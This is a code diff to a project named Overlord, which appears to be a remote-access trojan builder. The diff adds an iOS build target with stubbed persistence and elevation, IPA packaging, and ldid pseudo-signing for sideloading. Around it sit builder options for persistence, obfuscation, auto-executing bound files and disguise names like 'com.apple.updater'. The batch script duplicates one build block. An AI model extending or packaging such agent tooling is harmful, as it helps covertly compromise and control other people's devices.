diff --git a/Dockerfile b/Dockerfile index c18b675..0817d0f 100644 --- a/Dockerfile +++ b/Dockerfile @@ -20,6 +20,7 @@ RUN apt-get update \ git \ unzip \ upx-ucl \ + zip \ && rm -rf /var/lib/apt/lists/* # Install Go (latest stable version) @@ -58,6 +59,17 @@ RUN case "${TARGETARCH}" in \ && mv android-ndk-${ANDROID_NDK_VERSION} ${ANDROID_NDK_HOME} \ && rm android-ndk-${ANDROID_NDK_VERSION}-linux.zip +RUN case "${TARGETARCH}" in \ + amd64) LDID_ARCH="x86_64" ;; \ + arm64) LDID_ARCH="aarch64" ;; \ + *) LDID_ARCH="" ;; \ + esac \ + && if [ -n "${LDID_ARCH}" ]; then \ + wget -q "https://github.com/ProcursusTeam/ldid/releases/download/v2.1.5-procursus7/ldid_linux_${LDID_ARCH}" \ + -O /usr/local/bin/ldid \ + && chmod +x /usr/local/bin/ldid; \ + fi + # Copy package files and lockfile COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./ diff --git a/Overlord-Client/cmd/agent/config/identity_darwin.go b/Overlord-Client/cmd/agent/config/identity_darwin.go index 2fc1a96..2e308c5 100644 --- a/Overlord-Client/cmd/agent/config/identity_darwin.go +++ b/Overlord-Client/cmd/agent/config/identity_darwin.go @@ -1,4 +1,4 @@ -//go:build darwin +//go:build darwin && !ios && !ios_target package config diff --git a/Overlord-Client/cmd/agent/config/identity_iostarget.go b/Overlord-Client/cmd/agent/config/identity_iostarget.go new file mode 100644 index 0000000..553dac4 --- /dev/null +++ b/Overlord-Client/cmd/agent/config/identity_iostarget.go @@ -0,0 +1,38 @@ +//go:build ios || ios_target + +package config + +import ( + "crypto/rand" + "encoding/hex" + "log" + "os" + "strings" +) + +const iosMachineIDFile = "config/ios_machine_id" + +func platformMachineID() string { + data, err := os.ReadFile(iosMachineIDFile) + if err == nil { + if id := strings.TrimSpace(string(data)); id != "" { + return id + } + } + + b := make([]byte, 16) + if _, err := rand.Read(b); err != nil { + log.Printf("[identity] WARNING: failed to generate iOS machine ID: %v", err) + return "" + } + id := hex.EncodeToString(b) + + if err := os.MkdirAll("config", 0700); err != nil { + log.Printf("[identity] WARNING: failed to create config dir for iOS machine ID: %v", err) + return id + } + if err := os.WriteFile(iosMachineIDFile, []byte(id), 0600); err != nil { + log.Printf("[identity] WARNING: failed to persist iOS machine ID: %v", err) + } + return id +} diff --git a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go index 095eb2e..a49a18a 100644 --- a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go +++ b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go @@ -1,4 +1,4 @@ -//go:build darwin +//go:build darwin && !ios && !ios_target package handlers diff --git a/Overlord-Client/cmd/agent/handlers/elevate_iostarget.go b/Overlord-Client/cmd/agent/handlers/elevate_iostarget.go new file mode 100644 index 0000000..54eeedd --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/elevate_iostarget.go @@ -0,0 +1,19 @@ +//go:build ios || ios_target + +package handlers + +import ( + "context" + + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "elevation is not supported on iOS", + }) +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go index 5b97273..a28f708 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go @@ -1,5 +1,4 @@ -//go:build darwin -// +build darwin +//go:build darwin && !ios && !ios_target package persistence diff --git a/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go b/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go new file mode 100644 index 0000000..84db71a --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go @@ -0,0 +1,21 @@ +//go:build ios || ios_target + +package persistence + +import "fmt" + +func install(_ string) error { + return fmt.Errorf("persistence is not supported on iOS") +} + +func configure(_ string) error { + return fmt.Errorf("persistence is not supported on iOS") +} + +func getTargetPath() (string, error) { + return "", fmt.Errorf("persistence is not supported on iOS") +} + +func uninstall() error { + return nil +} diff --git a/Overlord-Client/cmd/agent/plugins/loader_darwin.go b/Overlord-Client/cmd/agent/plugins/loader_darwin.go index d9b4dba..41f25d0 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_darwin.go +++ b/Overlord-Client/cmd/agent/plugins/loader_darwin.go @@ -1,4 +1,4 @@ -//go:build darwin && cgo +//go:build darwin && cgo && !ios && !ios_target package plugins diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go index de0c363..d924830 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go @@ -1,4 +1,4 @@ -//go:build darwin +//go:build darwin && !ios && !ios_target package sysinfo diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go b/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go new file mode 100644 index 0000000..55694b8 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go @@ -0,0 +1,15 @@ +//go:build ios || ios_target + +package sysinfo + +func IsAdmin() bool { + return false +} + +func Elevation() string { + return "" +} + +func DarwinPermissions() map[string]bool { + return nil +} diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 9f416e8..3ccb5a9 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -377,6 +377,7 @@ function getSelectedPlatformFamilies() { windows: selectedPlatforms.some((platform) => platform.startsWith("windows-")), linux: selectedPlatforms.some((platform) => platform.startsWith("linux-")), darwin: selectedPlatforms.some((platform) => platform.startsWith("darwin-")), + ios: selectedPlatforms.some((platform) => platform.startsWith("ios-")), }; } @@ -384,8 +385,8 @@ function validateStartupName() { if (!startupNameError) return true; const families = getSelectedPlatformFamilies(); const val = document.getElementById("startup-name")?.value.trim() || ""; - if (families.darwin && val && !val.startsWith("com.")) { - startupNameError.textContent = "macOS requires the name to start with \"com.\" (e.g. com.apple.updater)"; + if ((families.darwin || families.ios) && val && !val.startsWith("com.")) { + startupNameError.textContent = "macOS/iOS requires the name to start with \"com.\" (e.g. com.apple.updater)"; startupNameError.classList.remove("hidden"); return false; } @@ -439,10 +440,20 @@ if (persistenceCheckbox && persistenceMethodContainer) { platformInputs.forEach((input) => { input.addEventListener("change", updatePersistenceSettingsVisibility); input.addEventListener("change", updateWindowsSectionVisibility); + input.addEventListener("change", updateIosSectionVisibility); }); document.getElementById("startup-name")?.addEventListener("input", validateStartupName); +function updateIosSectionVisibility() { + const families = getSelectedPlatformFamilies(); + const iosBundleIdContainer = document.getElementById("ios-bundle-id-container"); + if (iosBundleIdContainer) { + iosBundleIdContainer.classList.toggle("hidden", !families.ios); + } +} +updateIosSectionVisibility(); + updatePersistenceSettingsVisibility(); form?.addEventListener("change", saveFormSettings); @@ -1123,15 +1134,17 @@ form?.addEventListener("submit", async (e) => { boundFiles: boundFiles.length > 0 ? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute })) : undefined, + iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined, }; const hasAndroid = platforms.some(p => p.startsWith('android-')); const hasBsd = platforms.some( p => p.startsWith('freebsd-') || p.startsWith('openbsd-'), ); + const hasIos = platforms.some(p => p.startsWith('ios-')); - if (hasAndroid || hasBsd) { - let warningText = 'WARNING: Some selected targets are severely untested and will probably not work right.\n\n'; + if (hasAndroid || hasBsd || hasIos) { + let warningText = 'WARNING: Some selected targets are experimental/untested.\n\n'; if (hasAndroid) { warningText += '- Android targets are severely untested and will probably not work right.\n'; @@ -1141,6 +1154,10 @@ form?.addEventListener("submit", async (e) => { warningText += '- BSD targets are severely untested and will probably not work right.\n'; } + if (hasIos) { + warningText += '- iOS targets are experimental (POC). Most features will be stubbed. Output will be packaged as IPA if possible.\n'; + } + warningText += '\nContinue with build anyway?'; if (!confirm(warningText)) { diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index de22ca8..42847fe 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -120,6 +120,14 @@ Android ARMv7 + + @@ -177,6 +185,15 @@

+ +
p.startsWith("freebsd-") || p.startsWith("openbsd-"), ); + const hasIosTargets = platformsToBuild.some((p) => p.startsWith("ios-")); if (hasAndroidTargets) { sendToStream({ @@ -282,6 +283,14 @@ export async function startBuildProcess( }); } + if (hasIosTargets) { + sendToStream({ + type: "output", + text: "WARNING: iOS targets are experimental (POC). Most features will be stubbed. CGO will be force-disabled.\n", + level: "warn", + }); + } + const ndkBin = resolveAndroidNdkToolchainBin(); if (!ndkBin && platformsToBuild.some((p) => p.startsWith("android-"))) { sendToStream({ @@ -610,7 +619,10 @@ func runBoundFiles() { const [os, arch, ...rest] = platform.split("-"); const goarm = arch === "armv7" ? "7" : undefined; const actualArch = goarm ? "arm" : arch; - const targetKey = `${os}/${actualArch}${goarm ? `/v${goarm}` : ""}`; + // iOS builds use GOOS=darwin with a custom build tag since GOOS=ios requires CGO/Xcode + const isIosTarget = os === "ios"; + const effectiveOs = isIosTarget ? "darwin" : os; + const targetKey = `${effectiveOs}/${actualArch}${goarm ? `/v${goarm}` : ""}`; const namePrefix = config.outputName || "agent"; const winExt = config.outputExtension || ".exe"; const outputName = deps.sanitizeOutputName( @@ -622,7 +634,7 @@ func runBoundFiles() { const env: NodeJS.ProcessEnv = { ...process.env, - GOOS: os, + GOOS: effectiveOs, GOARCH: actualArch, CGO_ENABLED: config.disableCgo === true ? "0" : "1", GOWORK: "off", @@ -640,6 +652,15 @@ func runBoundFiles() { }); } + if (isIosTarget && env.CGO_ENABLED === "1") { + env.CGO_ENABLED = "0"; + sendToStream({ + type: "output", + text: "WARNING: iOS builds require Xcode toolchain for CGO; forcing CGO disabled for this target.\n", + level: "warn", + }); + } + if (env.CGO_ENABLED === "1") { const cCompilerByTarget: Record = { "linux/amd64": "musl-gcc", @@ -808,9 +829,10 @@ func runBoundFiles() { if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler"); if (methods.includes("wmi")) buildTags.push("persist_wmi"); } + if (isIosTarget) buildTags.push("ios_target"); const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : ""; logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`); - logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || ""}`); + logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${effectiveOs} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || ""}${isIosTarget ? " (iOS target via darwin+ios_target tag)" : ""}`); const garbleFlags: string[] = []; if (config.obfuscate) { @@ -931,6 +953,118 @@ func runBoundFiles() { } } + // ── IPA packaging for iOS targets ────────────────────────────────────── + if (os === "ios") { + sendToStream({ type: "output", text: `Packaging ${outputName} as IPA...\n`, level: "info" }); + try { + const appName = config.outputName || "Agent"; + const bundleId = config.iosBundleId || "com.overlord.agent"; + const ipaWorkDir = path.join(outDir, `_ipa_${platform}`); + const payloadAppDir = path.join(ipaWorkDir, "Payload", `${appName}.app`); + + // Create Payload/App.app structure + fs.mkdirSync(payloadAppDir, { recursive: true }); + + // Copy binary into .app + fs.copyFileSync(filePath, path.join(payloadAppDir, appName)); + fs.chmodSync(path.join(payloadAppDir, appName), 0o755); + + // Generate Info.plist + const infoPlist = ` + + + + CFBundleExecutable + ${appName} + CFBundleIdentifier + ${bundleId} + CFBundleName + ${appName} + CFBundleDisplayName + ${appName} + CFBundleVersion + ${agentVersion} + CFBundleShortVersionString + ${agentVersion} + CFBundlePackageType + APPL + CFBundleSupportedPlatforms + + iPhoneOS + + MinimumOSVersion + 14.0 + CFBundleInfoDictionaryVersion + 6.0 + LSRequiresIPhoneOS + + UIDeviceFamily + + 1 + 2 + + UISupportedInterfaceOrientations + + UIInterfaceOrientationPortrait + + +`; + fs.writeFileSync(path.join(payloadAppDir, "Info.plist"), infoPlist, "utf8"); + + // Attempt pseudo-signing with ldid if available + try { + const ldidResult = await $`which ldid`.nothrow().quiet(); + if (ldidResult.exitCode === 0) { + const ldidSign = await $`ldid -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet(); + if (ldidSign.exitCode === 0) { + sendToStream({ type: "output", text: `Pseudo-signed with ldid\n`, level: "info" }); + } else { + sendToStream({ type: "output", text: `WARNING: ldid signing failed (non-fatal)\n`, level: "warn" }); + } + } else { + sendToStream({ type: "output", text: `ldid not found; skipping pseudo-signing (install ldid for TrollStore/sideload compatibility)\n`, level: "warn" }); + } + } catch { /* ldid is optional */ } + + const ipaName = `${outputName}.ipa`; + const ipaPath = path.join(outDir, ipaName); + const zipResult = await $`cd ${ipaWorkDir} && zip -r ${ipaPath} Payload/ 2>&1 || true`.nothrow().quiet(); + + // Fallback: if system zip isn't available, try creating it manually + if (!fs.existsSync(ipaPath)) { + // Use a simple tar+gzip approach as last resort — though real IPAs need zip + sendToStream({ type: "output", text: `WARNING: zip command not available. Outputting raw Mach-O binary instead of IPA.\n`, level: "warn" }); + } else { + // Remove the raw binary, replace with IPA + fs.unlinkSync(filePath); + finalSize = fs.statSync(ipaPath).size; + sendToStream({ type: "output", text: `IPA packaged: ${finalSize} bytes\n`, level: "info" }); + + // Update output references to point to the IPA + const ipaOutputName = outputName.endsWith(".ipa") ? outputName : `${outputName}.ipa`; + + // Clean up temp dirs + fs.rmSync(ipaWorkDir, { recursive: true, force: true }); + + // Push IPA file entry instead of raw binary + (build.files as any[]).push({ + name: ipaOutputName, + filename: ipaOutputName, + platform, + version: agentVersion, + size: finalSize, + }); + continue; // Skip the default file push below + } + + // Clean up temp dirs + fs.rmSync(ipaWorkDir, { recursive: true, force: true }); + } catch (ipaErr: any) { + sendToStream({ type: "output", text: `WARNING: IPA packaging failed: ${ipaErr.message || ipaErr}. Output is a raw Mach-O binary.\n`, level: "warn" }); + } + } + // ── End IPA packaging ───────────────────────────────────────────────── + (build.files as any[]).push({ name: outputName, filename: outputName, diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index aefd91b..1cdc153 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -79,6 +79,7 @@ export async function handleBuildRoutes( outputExtension, sleepSeconds, boundFiles, + iosBundleId, } = body; if (!platforms || !Array.isArray(platforms) || platforms.length === 0) { @@ -227,7 +228,8 @@ export async function handleBuildRoutes( ? startupName.trim() : undefined; const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-')); - if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) { + const hasIosTarget = allowedPlatforms.some((p) => p.startsWith('ios-')); + if ((hasDarwinTarget || hasIosTarget) && safeStartupName && !safeStartupName.startsWith('com.')) { return Response.json( { error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' }, { status: 400 }, @@ -340,6 +342,7 @@ export async function handleBuildRoutes( outputExtension: safeOutputExtension, sleepSeconds: safeSleepSeconds, boundFiles: safeBoundFiles, + iosBundleId: typeof iosBundleId === "string" && /^[a-zA-Z0-9.-]{1,128}$/.test(iosBundleId.trim()) ? iosBundleId.trim() : undefined, }); return Response.json({ buildId }); diff --git a/Overlord-Server/src/server/validation-constants.ts b/Overlord-Server/src/server/validation-constants.ts index 1524e90..a0788c3 100644 --- a/Overlord-Server/src/server/validation-constants.ts +++ b/Overlord-Server/src/server/validation-constants.ts @@ -34,6 +34,8 @@ export const ALLOWED_PLATFORMS = new Set([ "android-arm64", "android-amd64", "android-armv7", + "ios-arm64", + "ios-amd64", ]); export const ALLOWED_OS_FILTERS = new Set([ @@ -42,4 +44,5 @@ export const ALLOWED_OS_FILTERS = new Set([ "darwin", "android", "freebsd", + "ios", ]); diff --git a/build-clients.bat b/build-clients.bat index 748fd1f..1fbfb4f 100644 --- a/build-clients.bat +++ b/build-clients.bat @@ -177,6 +177,38 @@ set CGO_ENABLED=0 if errorlevel 1 goto :err set GOARM= +echo WARNING: iOS targets are experimental (POC). Most features will be stubbed. + +echo == Building agent for ios arm64 == +set GOOS=darwin +set GOARCH=arm64 +set CGO_ENABLED=0 +if "%NO_PRINTING%"=="true" ( + %BUILD_CMD% -tags "ios_target noprint" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-arm64" ./cmd/agent +) else ( + %BUILD_CMD% -tags "ios_target" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-arm64" ./cmd/agent +) +if errorlevel 1 goto :err + +echo == Building agent for ios amd64 (simulator) == +set GOOS=darwin +set GOARCH=amd64 +set CGO_ENABLED=0 +if "%NO_PRINTING%"=="true" ( + %BUILD_CMD% -tags "ios_target noprint" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent +) else ( + %BUILD_CMD% -tags "ios_target" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent +) +set GOOS=darwin +set GOARCH=amd64 +set CGO_ENABLED=0 +if "%NO_PRINTING%"=="true" ( + %BUILD_CMD% -tags "ios_target noprint" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent +) else ( + %BUILD_CMD% -tags "ios_target" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent +) +if errorlevel 1 goto :err + echo == Building agent for openbsd amd64 == set GOOS=openbsd set GOARCH=amd64